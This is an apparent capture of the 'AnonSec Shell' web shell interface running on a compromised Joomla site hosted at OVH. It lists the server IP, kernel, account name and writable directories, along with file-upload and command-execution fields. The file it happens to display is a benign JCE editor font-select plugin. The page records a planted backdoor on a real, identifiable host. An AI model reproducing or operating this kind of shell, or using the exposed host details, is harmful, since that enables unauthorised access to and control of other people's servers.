AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awebpaca/lessarmoudes/components/com_jce/editor/tiny_mce/plugins/fontselect/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/awebpaca/lessarmoudes/components/com_jce/editor/tiny_mce/plugins/fontselect/editor_plugin.js
/* JCE Editor - 2.4.5 | 09 December 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
(function(){var DOM=tinymce.DOM,Event=tinymce.dom.Event,extend=tinymce.extend,each=tinymce.each,Cookie=tinymce.util.Cookie,explode=tinymce.explode;tinymce.create('tinymce.plugins.FontSelectPlugin',{fonts:"Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats",init:function(ed,url){var self=this;this.editor=ed;ed.onNodeChange.add(function(ed,cm,n){var c=cm.get('fontselect'),fn;if(c&&n.style){if(!fn&&n.style.fontFamily){fn=n.style.fontFamily.replace(/[\"\']+/g,'').replace(/^([^,]+).*/,'$1').toLowerCase();}
c.select(function(v){return v.replace(/^([^,]+).*/,'$1').toLowerCase()==fn;});}});},createControl:function(n,cf){var ed=this.editor;switch(n){case"fontselect":if(ed.getParam('fontselect_fonts')){return this._createFontSelect();}
break;}},_createFontSelect:function(){var c,self=this,ed=self.editor;c=ed.controlManager.createListBox('fontselect',{title:'advanced.fontdefault',onselect:function(v){var cur=c.items[c.selectedIndex];if(!v&&cur){ed.execCommand('FontName',false,cur.value);return;}
ed.execCommand('FontName',false,v);c.select(function(sv){return v==sv;});if(cur&&cur.value==v){c.select(null);}
return false;}});if(c){each(ed.getParam('fontselect_fonts','','hash'),function(v,k){if(/\d/.test(v)){v="'"+v+"'";}
c.add(ed.translate(k),v,{style:v.indexOf('dings')==-1?'font-family:'+v:''});});}
return c;}});tinymce.PluginManager.add('fontselect',tinymce.plugins.FontSelectPlugin,['importcss']);})();

Anon7 - 2022
AnonSec Team